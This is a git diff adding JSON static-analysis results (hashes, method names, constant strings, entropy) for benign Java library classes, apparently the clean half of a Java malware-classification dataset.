"javax/servlet/jsp/tagext/TagAttributeInfo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "canBeRequestTime", "getIdAttribute", "getName", "getTypeName", "isRequired", "toString"], "minor_version": 3, "const_pool_count": 83}}, "_id": "45d41273-01b5-4197-a124-9947462ac984", "verbose": {"java": {"constant strings": [" ", "id", "name = ", "reqTime = ", "required = ", "type = "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "80814f2bde50b6f8561b6d0abd2e4cda8918054f", "file_name": "java_clean/59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3", "_id": "45d41273-01b5-4197-a124-9947462ac984", "score": 0, "entropy": 5.281235130946891, "libmagic": "compiled Java class data, version 45.3", "file_size": 1819, "ssdeep": "48:Y2cAdsf8YLlqkA8mu1V1znxU5bt6D1z9O1OZO9OTk5:Y2UlxPA5bt6z9gY8x5", "sha256": "59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3", "md5": "3836aee3f14f1e3db63764f4f348d0c9", "parent_sha256": "59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3"}} \ No newline at end of file diff --git a/java_classification/data/clean/59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e.results b/java_classification/data/clean/59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e.results new file mode 100755 index 0000000..d2ca186 --- /dev/null +++ b/java_classification/data/clean/59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/Startup$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func0"], "sourcefile": "Startup.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 42}}, "_id": "abdaa871-688a-4fd2-b573-823fc73b668d", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func0;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "964717c266969e942928b11507e503f251b9009a", "file_name": "java_clean/59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e", "_id": "abdaa871-688a-4fd2-b573-823fc73b668d", "score": 0, "entropy": 5.100448646910812, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 849, "ssdeep": "12:iiebRNvtXyuZ9lPsoiDMMTYgLz/MRNR+P7MBUzJH0bM2wH/hWJq20WG9/Wl:ihbflXyU9ljiJRPaR+yAUqWJKNi", "sha256": "59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e", "md5": "562403a5596da1f8a09c942f00112e93", "parent_sha256": "59f557c2124848e6ba92b5ce3c51133462be2f7d06ae934bc3b82a4a54b2449e"}} \ No newline at end of file diff --git a/java_classification/data/clean/5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3.results b/java_classification/data/clean/5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3.results new file mode 100755 index 0000000..815ee15 --- /dev/null +++ b/java_classification/data/clean/5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "javax/xml/transform/TransformerConfigurationException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "", "", "", ""], "minor_version": 0, "const_pool_count": 25}}, "_id": "bae28aef-1725-458d-a8de-bbc2383fb47c", "verbose": {"java": {"constant strings": ["Configuration Error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2b62cb01106b9f1a9da35d5a25acd0e096407ccc", "file_name": "java_clean/5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3", "_id": "bae28aef-1725-458d-a8de-bbc2383fb47c", "score": 0, "entropy": 5.01815842231711, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 658, "ssdeep": "12:rhjSDQ1MXEKMPMl8cMlxBxDGQUyN/i6tLAYl48bn1H:rByQrW+xy446tcYlR", "sha256": "5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3", "md5": "18bb0d874e53aba8505a347c6fe5b161", "parent_sha256": "5a801349ac22099b9f47170397317c74b5cd076a5f66c80eb88777bcc13603e3"}} \ No newline at end of file diff --git a/java_classification/data/clean/5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf.results b/java_classification/data/clean/5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf.results new file mode 100755 index 0000000..2440b36 --- /dev/null +++ b/java_classification/data/clean/5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ConcurrentReaderHashMap.java", "class_name": "org/dom4j/tree/ConcurrentReaderHashMap$ValueIterator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "returnValueOfNext"], "minor_version": 0, "const_pool_count": 32}}, "_id": "4141fa93-6463-43d3-9228-d811dc4ec685", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7eee0e1401981aa21ddb6b3ead1858acdf6f7f89", "file_name": "java_clean/5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf", "_id": "4141fa93-6463-43d3-9228-d811dc4ec685", "score": 0, "entropy": 5.117303275986954, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 795, "ssdeep": "24:mHWYCNYWuljORHYFOBYciYFOnYtm4nUsYo6Ct57:sCqbllrc5l5nUfpC57", "sha256": "5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf", "md5": "866a450982dc53d41291c56181555c3f", "parent_sha256": "5a836642790eb435ff39c391a32a65ed81ab5a4507d3de309cbe8d4db69feebf"}} \ No newline at end of file diff --git a/java_classification/data/clean/5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e.results b/java_classification/data/clean/5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e.results new file mode 100755 index 0000000..6383b27 --- /dev/null +++ b/java_classification/data/clean/5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/AchievementsScreen$30", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "AchievementsScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e9bbf031-641f-4f85-9262-604664d7caba", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4bbed31f072a59c815b93b95b9562f653e56a188", "file_name": "java_clean/5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e", "_id": "e9bbf031-641f-4f85-9262-604664d7caba", "score": 0, "entropy": 5.302737814738046, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1368, "ssdeep": "24:aHIBoBf+IRaBooGNBoQ6ljSZBodYMBoWnPTM1C7vR+iB3YLaEBs:q2wP6l7ZnPV3PD", "sha256": "5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e", "md5": "87b1d8ba16a180a0ff5a662aff60f820", "parent_sha256": "5adb7b13531d3e79d05e9b1bcea8e9ac14a80a4f0398b07d4eda2cbe2818de9e"}} \ No newline at end of file diff --git a/java_classification/data/clean/5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e.results b/java_classification/data/clean/5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e.results new file mode 100755 index 0000000..225b2b8 --- /dev/null +++ b/java_classification/data/clean/5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PlanOptimizer.java", "class_name": "org/apache/pig/impl/plan/optimizer/PlanOptimizer", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "", "optimize"], "minor_version": 0, "const_pool_count": 107}}, "_id": "4d444bbf-70d0-4d37-9bc1-9d13c24d0df0", "verbose": {"java": {"signatures": ["Ljava/util/List;", "TP;", "(TP;)V", "(TP;I)V", ";>Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "88ed7278acd3efa2a5dd0841c2fb386505facfb6", "file_name": "java_clean/5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e", "_id": "4d444bbf-70d0-4d37-9bc1-9d13c24d0df0", "score": 0, "entropy": 5.426150751282259, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2505, "ssdeep": "48:wcDU/K7JlJVnjVa0MLXbYgDk2ZfSZOxGVKczP0Darav6ejln57YfDyoZ577eS:DDU/OJlJtI0MzbLDkIfUOxGBzearav6D", "sha256": "5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e", "md5": "12a151ade7b3ce1a24e38e051c4a5c07", "parent_sha256": "5c485b03056cad10ba70fc8600b6599c162cd9daded9024d081bd38beb43e36e"}} \ No newline at end of file diff --git a/java_classification/data/clean/5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb.results b/java_classification/data/clean/5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb.results new file mode 100755 index 0000000..71db4f3 --- /dev/null +++ b/java_classification/data/clean/5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/httpclient/methods/ByteArrayRequestEntity", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/httpclient/methods/RequestEntity"], "sourcefile": "ByteArrayRequestEntity.java", "method_names": ["", "", "isRepeatable", "getContentType", "writeRequest", "getContentLength", "getContent"], "minor_version": 3, "const_pool_count": 57}}, "_id": "67f190a8-c5e3-4737-843f-f9f55efd286d", "verbose": {"java": {"constant strings": ["The content cannot be null"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "99a99282cbb5e16021ab6b2ea1dbeca01ab2ffc6", "file_name": "java_clean/5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb", "_id": "67f190a8-c5e3-4737-843f-f9f55efd286d", "score": 0, "entropy": 5.066340433398594, "libmagic": "compiled Java class data, version 45.3", "file_size": 1397, "ssdeep": "24:c+/mZB65uljCKgjmoqeaYVLjJ+gj4kN9aKlZSyCVfcaqTflOyY1Qn:p/uBFltmqeaS+pkfDlZSyCVfcaoflO9K", "sha256": "5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb", "md5": "d6d501370392306d5fb9fd9422767b3b", "parent_sha256": "5d4caa81ca0fb4ee46bc877a8e4914dff9cea680185b8107d731b53af6fd4cfb"}} \ No newline at end of file diff --git a/java_classification/data/clean/5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c.results b/java_classification/data/clean/5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c.results new file mode 100755 index 0000000..de9a86f --- /dev/null +++ b/java_classification/data/clean/5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/Element", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/dom4j/Branch"], "sourcefile": "Element.java", "method_names": ["getQName", "setQName", "getNamespace", "getQName", "getNamespaceForPrefix", "getNamespaceForURI", "getNamespacesForURI", "getNamespacePrefix", "getNamespaceURI", "getQualifiedName", "additionalNamespaces", "declaredNamespaces", "addAttribute", "addAttribute", "addComment", "addCDATA", "addEntity", "addNamespace", "addProcessingInstruction", "addProcessingInstruction", "addText", "add", "add", "add", "add", "add", "remove", "remove", "remove", "remove", "remove", "getText", "getTextTrim", "getStringValue", "getData", "setData", "attributes", "setAttributes", "attributeCount", "attributeIterator", "attribute", "attribute", "attribute", "attributeValue", "attributeValue", "attributeValue", "attributeValue", "setAttributeValue", "setAttributeValue", "element", "element", "elements", "elements", "elements", "elementIterator", "elementIterator", "elementIterator", "isRootElement", "hasMixedContent", "isTextOnly", "appendAttributes", "createCopy", "createCopy", "createCopy", "elementText", "elementText", "elementTextTrim", "elementTextTrim", "getXPathResult"], "minor_version": 0, "const_pool_count": 97}}, "_id": "bcfa9126-a9f2-4ccc-8155-72af4fca70ed", "metadata": {"mimetype": "application/x-java-applet", "sha1": "771be110a7b2fc8a6ac07fb9e3f14ee9e2694b9f", "file_name": "java_clean/5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c", "_id": "bcfa9126-a9f2-4ccc-8155-72af4fca70ed", "score": 0, "entropy": 5.2208422164098796, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 2811, "ssdeep": "48:YfKa7OAvr2gja4ultJhRSSAU18aMRtCcCbFulBsIX1gcebcgO0MpBwGR:vL6r2C61WU1pF5IecEq0MpBB", "sha256": "5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c", "md5": "b84a207e23e0e86d051265979ab32e21", "parent_sha256": "5e9b7e41b5c3889470a9ac325c7817e894854182c8d483d63fb3671c1dba7b6c"}} \ No newline at end of file diff --git a/java_classification/data/clean/5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff.results b/java_classification/data/clean/5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff.results new file mode 100755 index 0000000..cae58a9 --- /dev/null +++ b/java_classification/data/clean/5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SelectableAjaxBehavior.java", "class_name": "org/odlabs/wiquery/ui/selectable/SelectableAjaxBehavior$1", "access_permissions": ["ACC_SUPER", "ACC_SYNTHETIC"], "major_version": 49, "minor_version": 0, "const_pool_count": 12}}, "_id": "f4d6af9b-70a2-415d-a93e-28a7e722bb42", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d08c3e0168b4868b9e925f8a6440e509c7304690", "file_name": "java_clean/5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff", "_id": "f4d6af9b-70a2-415d-a93e-28a7e722bb42", "score": 0, "entropy": 4.918945733682625, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 283, "ssdeep": "6:r8+2AMpAo1yiURhK8JeAyOTpAoi/5YBRPFR8JeAyOTpAo8HlOkot:6Ae31yiUm8Je23y2BR8Je238vw", "sha256": "5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff", "md5": "ccf7a4c392d57a1b4f1eef96dcc1589b", "parent_sha256": "5ecbc7f1434325a3525d34b3f433c1d4ff41d23b72548d6a673fb7425c19a2ff"}} \ No newline at end of file diff --git a/java_classification/data/clean/5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89.results b/java_classification/data/clean/5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89.results new file mode 100755 index 0000000..e4837a5 --- /dev/null +++ b/java_classification/data/clean/5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ButtonCheckSet.java", "class_name": "org/odlabs/wiquery/ui/button/ButtonCheckSet$2", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "populateItem"], "minor_version": 0, "const_pool_count": 104}}, "_id": "6f65745f-66f5-41d0-b4ae-b8e44e77ed3b", "verbose": {"java": {"signatures": ["(Lorg/apache/wicket/markup/html/list/ListItem;>;)V", "Lorg/apache/wicket/markup/html/list/ListView;>;"], "constant strings": ["buttonCheck", "buttonCheckLabel"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "buttonCheckLabel"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d14994d6ba58bdc025894c755004966d29762d64", "file_name": "java_clean/5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89", "_id": "6f65745f-66f5-41d0-b4ae-b8e44e77ed3b", "score": 0, "entropy": 5.379543897746487, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3188, "ssdeep": "48:QfldxyQlGGAXsqdtmOrwC2HqY3/3d/yDA:Sld2gOJwbv7", "sha256": "5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89", "md5": "79d435020dca999e3f0cb10bf9a9cf65", "parent_sha256": "5f34c35bd6ba12c105103dec88bb9a9ec4408db2c62290a36d186d03fd464b89"}} \ No newline at end of file diff --git a/java_classification/data/clean/5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d.results b/java_classification/data/clean/5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d.results new file mode 100755 index 0000000..12b160f --- /dev/null +++ b/java_classification/data/clean/5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "NNTP.java", "class_name": "org/apache/commons/net/nntp/NNTP", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "__getReply", "_connectAction_", "addProtocolCommandListener", "removeProtocolCommandListener", "disconnect", "isAllowedToPost", "sendCommand", "sendCommand", "sendCommand", "sendCommand", "getReplyCode", "getReply", "getReplyString", "article", "article", "article", "body", "body", "body", "head", "head", "head", "stat", "stat", "stat", "group", "help", "ihave", "last", "list", "next", "newgroups", "newnews", "post", "quit", "authinfoUser", "authinfoPass", "xover", "xhdr", "listActive"], "minor_version": 0, "const_pool_count": 259}}, "_id": "52711827-246f-4e84-90c2-d05faaf44f29", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.7623615505888335}, "constant strings": ["Connection closed without indication.", "Truncated server reply: ", "Could not parse response code.\\nServer Reply: ", "\\r\\n", "NNTP response 400 received. Server closed connection.", "ISO-8859-1", "GMT", " <", "USER ", "PASS ", " ", "ACTIVE "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "246c869f8dd4ea4dbe0cfc3d726a1d3d0bfcaf9c", "file_name": "java_clean/5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d", "_id": "52711827-246f-4e84-90c2-d05faaf44f29", "score": 0, "entropy": 5.21020421327883, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 7807, "ssdeep": "192:s5P6lacnyoeMBqNJ5AD4Q81b7+BQihwQOQk:tVCw+J5ADYSQihqv", "sha256": "5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d", "md5": "5911725ab76900b29e0489874c0e1d14", "parent_sha256": "5f6464ad0ebc384e764e9756104edfa93ae0c61694ed353c41834db27b822e1d"}} \ No newline at end of file diff --git a/java_classification/data/clean/5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625.results b/java_classification/data/clean/5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625.results new file mode 100755 index 0000000..c8cf1d0 --- /dev/null +++ b/java_classification/data/clean/5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SignatureAttribute.java", "class_name": "javassist/bytecode/SignatureAttribute$TypeVariable", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "getName", "toString"], "minor_version": 0, "const_pool_count": 39}}, "_id": "65351b23-610a-448b-9876-88775e563d15", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a10248c1238d23e266f213427aafe17d551e1665", "file_name": "java_clean/5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625", "_id": "65351b23-610a-448b-9876-88775e563d15", "score": 0, "entropy": 5.022539052020072, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 864, "ssdeep": "24:lzr7Bzuljt/UQuQUuUgXUMljzTcl4knuzK6YzKlHS:hnB6lk69Un2EqHS", "sha256": "5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625", "md5": "3b699d1584830caf232473cbcc608f28", "parent_sha256": "5fd014e8c5b9980ca902bb76dff8bf4daa2e0777768a3367f0392a7ce9d20625"}} \ No newline at end of file diff --git a/java_classification/data/clean/5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34.results b/java_classification/data/clean/5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34.results new file mode 100755 index 0000000..9873c41 --- /dev/null +++ b/java_classification/data/clean/5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AttributeHelper.java", "class_name": "org/dom4j/util/AttributeHelper", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "booleanValue", "booleanValue", "booleanValue"], "minor_version": 0, "const_pool_count": 65}}, "_id": "490f5bce-ee0a-4214-8cb3-812a25f9ae09", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "true"}}}, "constant strings": ["true"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1a1dc2592257df375559e78f693b5d0a1d87732", "file_name": "java_clean/5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34", "_id": "490f5bce-ee0a-4214-8cb3-812a25f9ae09", "score": 0, "entropy": 5.244520580986348, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1312, "ssdeep": "24:pUEyQuljxWee55eeqneedaHE71fiOSi3nud4Z4eFCo1t0zCOE92C7GUsWKGXTCnw:pfyFlst4nDhiOSi3ud46KCct0zCz94UN", "sha256": "5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34", "md5": "9a12532196f333eb95ba70b79417f95b", "parent_sha256": "5ff86b265c2f1e91842df005f17a06c429cd87a299a0c63cd954193732090f34"}} \ No newline at end of file diff --git a/java_classification/data/clean/60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4.results b/java_classification/data/clean/60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4.results new file mode 100755 index 0000000..26075e0 --- /dev/null +++ b/java_classification/data/clean/60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Balancer.java", "class_name": "org/apache/hadoop/dfs/Balancer$BytesMoved", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "inc", "get", "access$1200", "", "access$4300"], "minor_version": 0, "const_pool_count": 45}}, "_id": "1178780c-831e-430e-936c-f8a5beb41549", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0dc124c9db8249cf209e4e267cb730725cc30708", "file_name": "java_clean/60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4", "_id": "1178780c-831e-430e-936c-f8a5beb41549", "score": 0, "entropy": 4.9575964007359685, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1106, "ssdeep": "24:bN93yQuljKiSXlbxlHxdScLbRbWlwKXh/ZqjB7FxBVmCKeuC+kxC9Sc:H3yFl29Xlbxl3ScLbRbWlZKj3xTkS+kc", "sha256": "60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4", "md5": "0547e42746197344c300d94d67bae8a6", "parent_sha256": "60ba21f9a690ae84e35b023a846a5b492b35a0931b5bd5fc1975ea44d61070c4"}} \ No newline at end of file diff --git a/java_classification/data/clean/60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2.results b/java_classification/data/clean/60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2.results new file mode 100755 index 0000000..c871fa8 --- /dev/null +++ b/java_classification/data/clean/60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LongMin.java", "class_name": "org/apache/pig/builtin/LongMin$Intermediate", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec", ""], "minor_version": 0, "const_pool_count": 91}}, "_id": "82b70481-dacd-4edb-871f-f43ee20a6045", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing min in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "eadfbb73e33bd18b0c7f77b915f6171ddf05010e", "file_name": "java_clean/60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2", "_id": "82b70481-dacd-4edb-871f-f43ee20a6045", "score": 0, "entropy": 5.31780284954626, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1906, "ssdeep": "48:BikXyFlr7TJGebWEXEUeUMA71A7MpkOmLfIDkuCpIDqmn8uCE:BikCFlrHJGbEXEUmARAwpkOcekuCcqmH", "sha256": "60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2", "md5": "69e87e4a285edca352856420d7a4aa05", "parent_sha256": "60c16331270f6d54b2df837da816c49f9da1d0c85e6cdcca7abc4b16b07fb0b2"}} \ No newline at end of file diff --git a/java_classification/data/clean/61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249.results b/java_classification/data/clean/61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249.results new file mode 100755 index 0000000..994d0aa --- /dev/null +++ b/java_classification/data/clean/61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BeanAttribute.java", "class_name": "org/dom4j/bean/BeanAttribute", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "getQName", "getParent", "getValue", "setValue", "getData", "setData"], "minor_version": 0, "const_pool_count": 61}}, "_id": "31c6fefc-bb39-40e2-890a-f5db8b9ffa2d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d95006b02ba71ba1b1ef65dce4c51c71a84615ac", "file_name": "java_clean/61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249", "_id": "31c6fefc-bb39-40e2-890a-f5db8b9ffa2d", "score": 0, "entropy": 4.99074526512456, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1433, "ssdeep": "24:bc8U1FI7uljiQ6kHpeeunudJycs80WFeeb2IEtNcbCESIteiWY10lCfKl9jylujy:blU1FIiljjgnuHycs80Eh2IE6S5iWYaE", "sha256": "61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249", "md5": "b60e6c29f07cdbefdd3a4d1d44091e0d", "parent_sha256": "61f46f427399f4459e9f78f2ecc8de3696de5ea98afdb520cd514bb35b56d249"}} \ No newline at end of file diff --git a/java_classification/data/clean/62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120.results b/java_classification/data/clean/62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120.results new file mode 100755 index 0000000..b21616c --- /dev/null +++ b/java_classification/data/clean/62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/log4j/lf5/viewer/TrackingAdjustmentListener", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/awt/event/AdjustmentListener"], "sourcefile": "TrackingAdjustmentListener.java", "method_names": ["", "adjustmentValueChanged"], "minor_version": 3, "const_pool_count": 55}}, "_id": "bb4a9d09-2ce4-4951-8cdf-a49ac4cde8f9", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d67e5aac0526906a7105b2fded92179a39a4f07a", "file_name": "java_clean/62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120", "_id": "bb4a9d09-2ce4-4951-8cdf-a49ac4cde8f9", "score": 0, "entropy": 5.359152188803706, "libmagic": "compiled Java class data, version 45.3", "file_size": 1056, "ssdeep": "24:cYpjyQuljwUyXjnPoTsbIUyXDz1FaobHYY8y9/CNcy4YsVlv12CQL:5yFlsUmjrbIUmDhrbSy96Nc1YsQR", "sha256": "62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120", "md5": "ac4f36e8ae66b7bd970887bff7cb76d7", 